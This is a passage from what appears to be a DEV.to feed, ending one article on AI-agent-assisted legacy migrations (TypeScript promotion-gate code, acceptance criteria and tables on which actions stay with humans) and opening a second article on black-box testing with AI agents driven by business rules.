  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;critical&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;reasons&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;critical&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; critical shadow mismatches`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;outsideTolerance&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;reasons&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;outsideTolerance&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; differences outside approved tolerances`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;evidence&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;p95LatencyRatio&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;MAX_P95_LATENCY_RATIO&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;reasons&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;p95 latency regressed&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;evidence&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;rollbackRehearsed&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;reasons&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;rollback not rehearsed&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;missing&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;REQUIRED_APPROVALS&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;role&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;evidence&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;approvals&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;role&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;missing&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;reasons&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`missing approvals: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;missing&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;, &lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;promote&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;reasons&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;reasons&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Evidence arrives from metrics pipelines at runtime, so the types alone don't protect the gate&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;hasValidEvidence&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;evidence&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;MigrationEvidence&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nx"&gt;boolean&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;mismatches&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;evidence&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mismatches&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;counts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;evidence&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;shadowRequests&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;mismatches&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;unclassified&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;mismatches&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;critical&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;mismatches&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;outsideTolerance&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;counts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;every&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;isCount&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nf"&gt;isRatio&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;evidence&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;characterizationPassRate&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nf"&gt;isPositiveNumber&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;evidence&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;p95LatencyRatio&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;evidence&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;contractTestsPassed&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;boolean&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
    &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;evidence&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;rollbackRehearsed&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;boolean&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
    &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isArray&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;evidence&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;approvals&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;isCount&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;unknown&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isSafeInteger&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="kd"&gt;as &lt;/span&gt;&lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;isRatio&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;unknown&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;number&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;isPositiveNumber&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;unknown&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isFinite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="kd"&gt;as &lt;/span&gt;&lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Look at what is missing from &lt;code&gt;MigrationEvidence&lt;/code&gt;: anything the agent says about itself.&lt;/strong&gt; No confidence score, no "I verified the edge cases", no summary of its own work. Every field comes from a test run, a traffic comparison, a latency metric or a named human.&lt;/p&gt;

&lt;p&gt;The first line of the gate matters as much as the rest. &lt;strong&gt;Missing evidence blocks promotion; it never counts as a pass.&lt;/strong&gt; A broken metrics query returns &lt;code&gt;NaN&lt;/code&gt; or nothing at all, and &lt;code&gt;NaN &amp;gt; 1.1&lt;/code&gt; is &lt;code&gt;false&lt;/code&gt; in JavaScript, so a naive latency check would quietly let the stage through. The gate fails closed instead.&lt;/p&gt;

&lt;p&gt;The acceptance criteria, in plain terms:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Gate&lt;/th&gt;
&lt;th&gt;Accept when&lt;/th&gt;
&lt;th&gt;Reject when&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Characterization&lt;/td&gt;
&lt;td&gt;100% green on legacy and on the new service&lt;/td&gt;
&lt;td&gt;Any case fails on either side&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Contract&lt;/td&gt;
&lt;td&gt;Consumer contract tests pass; contract approved by its owner&lt;/td&gt;
&lt;td&gt;Any consumer-visible change without approval&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Shadow traffic&lt;/td&gt;
&lt;td&gt;Enough real requests; zero unclassified or critical mismatches&lt;/td&gt;
&lt;td&gt;Any critical mismatch, or a difference outside the approved tolerances&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Performance&lt;/td&gt;
&lt;td&gt;p95 latency within the agreed ratio&lt;/td&gt;
&lt;td&gt;Regression, or no baseline to compare with&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rollback&lt;/td&gt;
&lt;td&gt;Rehearsed, one config change, no agent needed&lt;/td&gt;
&lt;td&gt;Rollback needs a data fix or a redeploy&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Human sign-off&lt;/td&gt;
&lt;td&gt;Capability owner and on-call engineer approved&lt;/td&gt;
&lt;td&gt;Approval "by default" or by the agent&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Completion&lt;/td&gt;
&lt;td&gt;No consumer, job or integration still calls the old implementation&lt;/td&gt;
&lt;td&gt;Any caller left, or no runtime evidence either way&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The mismatch policy is deliberately strict: &lt;strong&gt;zero critical mismatches, and no percentage of "acceptable" unexplained ones.&lt;/strong&gt; What makes this workable is that tolerances are decided before the shadow run, not after. The capability owner approves a short list up front, for example "ignore the &lt;code&gt;generatedAt&lt;/code&gt; timestamp" or "the new service rounds half-up, approved as a fix". &lt;code&gt;classifyDifference&lt;/code&gt; applies that list automatically. Anything it can't match stays unclassified until a human looks at it, and an agent may propose a classification, but a person confirms it, because that's where business meaning lives.&lt;/p&gt;




&lt;h2&gt;
  
  
  What should never be fully autonomous?
&lt;/h2&gt;

&lt;p&gt;In Dark Factory terms, most of this pipeline is a &lt;strong&gt;light factory&lt;/strong&gt;: agents do the work, and humans sit at the points where a wrong decision is expensive or irreversible. Here is where I'd draw the line.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;The agent may&lt;/th&gt;
&lt;th&gt;A human must&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Production data changes (backfills, schema, deletes)&lt;/td&gt;
&lt;td&gt;Write the scripts and dry-run them against a copy&lt;/td&gt;
&lt;td&gt;Approve, run, and own the backup and restore plan&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Critical or public contracts&lt;/td&gt;
&lt;td&gt;Propose the diff and generate contract tests&lt;/td&gt;
&lt;td&gt;Approve every consumer-visible change&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Architectural decisions (service boundaries, data ownership, sync strategy)&lt;/td&gt;
&lt;td&gt;Draft options and trade-offs as an ADR&lt;/td&gt;
&lt;td&gt;Decide&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Deployments and traffic shifts&lt;/td&gt;
&lt;td&gt;Prepare the config change and compute the gate evidence&lt;/td&gt;
&lt;td&gt;Promote any stage beyond shadow&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bug-compatibility&lt;/td&gt;
&lt;td&gt;Flag suspicious behavior with evidence&lt;/td&gt;
&lt;td&gt;Decide whether to keep it, and when to fix it&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Decommissioning legacy code&lt;/td&gt;
&lt;td&gt;List the remaining callers&lt;/td&gt;
&lt;td&gt;Turn it off&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The common thread is reversibility. Running a characterization suite twice costs nothing. Deleting a legacy table, changing a contract that partners depend on, or picking the wrong service boundary can cost months. &lt;strong&gt;Agents can prepare irreversible changes; they shouldn't execute them.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Measuring success
&lt;/h2&gt;

&lt;p&gt;"The agents saved us time" is not a metric. If you want to know whether this pipeline helps, measure the agents and the migration separately.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;What&lt;/th&gt;
&lt;th&gt;How to measure it&lt;/th&gt;
&lt;th&gt;Why it matters&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Discovery precision&lt;/td&gt;
&lt;td&gt;Sample claims from each capability map; share confirmed by an engineer&lt;/td&gt;
&lt;td&gt;Tells you how much to trust the next map&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Discovery misses&lt;/td&gt;
&lt;td&gt;Mismatches or incidents traced to behavior the map didn't list&lt;/td&gt;
&lt;td&gt;The batch-job problem, counted&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Effort&lt;/td&gt;
&lt;td&gt;Lead time per capability (map to 100% traffic) and &lt;strong&gt;human review hours&lt;/strong&gt;
&lt;/td&gt;
&lt;td&gt;Review is part of the cost; Google counted it in its estimate&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Migration quality&lt;/td&gt;
&lt;td&gt;Unexplained mismatch rate, rollbacks, incidents per capability&lt;/td&gt;
&lt;td&gt;Speed without this is just faster risk&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Operational cost&lt;/td&gt;
&lt;td&gt;Tokens, plus running two systems and the facade&lt;/td&gt;
&lt;td&gt;Transitional architecture isn't free&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Progress&lt;/td&gt;
&lt;td&gt;Share of traffic served by new services; legacy code deleted&lt;/td&gt;
&lt;td&gt;The goal is decommissioning, not coexistence&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The last row is the one teams forget. A Strangler Fig migration that never turns off the legacy system is a permanent double running cost.&lt;/p&gt;




&lt;h2&gt;
  
  
  Trade-offs: when this approach is the wrong choice
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Small systems.&lt;/strong&gt; If replacing the whole thing is simple, the facade and the pipeline are overhead. Azure's guidance says the same about the pattern itself.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Requests you can't intercept.&lt;/strong&gt; No facade, no strangler. The same goes for logic that only runs inside the database or in jobs you can't redirect.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Capabilities with heavy side effects.&lt;/strong&gt; Shadowing payments or emails needs a sandbox or intent comparison. That work is real; budget for it before choosing such a capability as an early slice.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No observability.&lt;/strong&gt; Without request samples, latency baselines and mismatch metrics, the gate has nothing to evaluate.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A team that can't review the output.&lt;/strong&gt; Agents can generate maps, tests and pull requests faster than people can check them. Throttle generation to review capacity, as Google did, rather than lowering the bar.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Can't the agent just translate the legacy code into a new language?&lt;/strong&gt;&lt;br&gt;
It can produce a translation, but a translation reproduces structure, including the parts you wanted to leave behind. The Thoughtworks article notes that translated code still needs lengthy testing. Characterizing behavior first and implementing against it gives you the tests you need anyway.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Do I still need static analysis if I have agents?&lt;/strong&gt;&lt;br&gt;
Yes. Call graphs, dependency analyzers and dead-code tools are deterministic and cheap. Use them to check what the agent claims. Thoughtworks saw little GenAI value for dead-code detection, because existing tools already do it well.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Is this a dark factory for migrations?&lt;/strong&gt;&lt;br&gt;
Partly. Discovery and test generation can run with little supervision because their outputs are checked before anything depends on them. Contracts, data and traffic decisions stay lit.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Which capability should I migrate first?&lt;/strong&gt;&lt;br&gt;
One that is read-only, well bounded and valuable enough to matter. A calculation or a query is a better first slice than anything that writes money or sends messages.&lt;/p&gt;




&lt;h2&gt;
  
  
  Takeaway
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The Strangler Fig pattern is the strategy; agents speed up the steps.&lt;/strong&gt; Incremental migration and coexistence don't change.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Make every agent produce a verifiable artifact&lt;/strong&gt;, with evidence for each claim, and stop the chain when a check fails.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Characterize the legacy system before you replace it.&lt;/strong&gt; The suite must pass 100% against the old code first.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Keep the doer away from the checks.&lt;/strong&gt; The implementation agent reads the tests; it can't edit them.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Gate on evidence, never on model confidence&lt;/strong&gt;: tests, shadow mismatches, latency, rollback and named human approvals.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A capability is migrated when no caller is left&lt;/strong&gt;, not when the endpoint hits 100% on the new service.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Agents prepare irreversible changes; humans execute them.&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Which part of your legacy system would you trust an agent to map first, and which part would you never let it touch? Tell me in the comments.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm Diogo Soares, a Staff AI Engineer working on AI agents and legacy modernization. If this was useful, follow me here on DEV.to and on Instagram at &lt;a href="https://instagram.com/diogosoares.dev" rel="noopener noreferrer"&gt;@diogosoares.dev&lt;/a&gt;, where this migration pipeline becomes a swipeable carousel you can save for your next modernization planning. This article also gets a video walkthrough on my YouTube channel, &lt;a href="https://youtube.com/@diogosoaresdev" rel="noopener noreferrer"&gt;Diogo Soares Dev&lt;/a&gt;, so subscribe there for the next ones. Let's also connect on &lt;a href="https://www.linkedin.com/in/diogoschmidtsoares" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;, or check out &lt;a href="https://diogosoares.dev" rel="noopener noreferrer"&gt;diogosoares.dev&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>architecture</category>
      <category>legacy</category>
      <category>refactoring</category>
    </item>
    <item>
      <title>Black-Box Testing with AI Agents: Test the Rules, Not the Code</title>
      <dc:creator>Diogo Soares</dc:creator>
      <pubDate>Mon, 26 Oct 2026 07:58:58 +0000</pubDate>
      <link>https://dev.to/soaresdiogo/black-box-testing-with-ai-agents-test-the-rules-not-the-code-17j8</link>
      <guid>https://dev.to/soaresdiogo/black-box-testing-with-ai-agents-test-the-rules-not-the-code-17j8</guid>
      <description>&lt;p&gt;One of the most useful test reports I've seen an AI produce came from agents that never saw a single line of the application's code.&lt;/p&gt;

&lt;p&gt;At a company I worked at, we tried a simple experiment. We gave the models the business rules of a system that was already built, and nothing else. No repository, no architecture docs, no database schema. The models wrote the tests from the rules, then ran those tests against the running application. At the end we got a list of every place where the application did not do what the business said it should.&lt;/p&gt;

&lt;p&gt;That list was more useful than any green test suite, because every line in it was a rule the system broke. And the reason it worked is not that the models were especially clever. It's that they &lt;strong&gt;didn't know how the system was implemented&lt;/strong&gt;, so they couldn't bend their tests around it.&lt;/p&gt;

&lt;p&gt;This is &lt;strong&gt;black-box testing with AI agents&lt;/strong&gt;: the agent tests the behavior against the specification, from the outside, the way a customer or an auditor would. This post covers:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Why agents that can read the code write weaker tests than you think.&lt;/li&gt;
&lt;li&gt;How to set up a black-box pipeline: rules in, test cases, execution, findings report.&lt;/li&gt;
&lt;li&gt;The prompts, file layout and report format I'd use, plus when this approach is the wrong tool.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  The problem: tests that confirm the code instead of the requirement
&lt;/h2&gt;

&lt;p&gt;Ask a coding agent to "write tests for &lt;code&gt;RefundService&lt;/code&gt;" and it will read &lt;code&gt;RefundService&lt;/code&gt;, see what it does, and write tests that check it does exactly that. If the code has an off-by-one in the refund window, the agent sees &lt;code&gt;daysSinceDelivery &amp;lt; 30&lt;/code&gt;, and the generated test asserts that day 30 is rejected. Green suite. Wrong behavior. Now locked in by a test.&lt;/p&gt;

&lt;p&gt;Testers have a name for the source of "expected": the &lt;strong&gt;test oracle&lt;/strong&gt;, whatever you use to decide whether an observed result is correct. This isn't a model failure. It's what any tester does when the code is the only spec they have: the implementation becomes the oracle, so the tests can only ever confirm it.&lt;/p&gt;

&lt;p&gt;It gets worse when the same agent wrote the code and the tests. Both come from the same understanding of the problem, so any misunderstanding shows up twice and cancels out. I covered a version of this in the context of dark factories: a check is only worth something when the thing being checked can't shape it.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Oracle derived from the code&lt;/th&gt;
&lt;th&gt;Oracle derived from the rules&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Source of "expected"&lt;/td&gt;
&lt;td&gt;What the code currently does&lt;/td&gt;
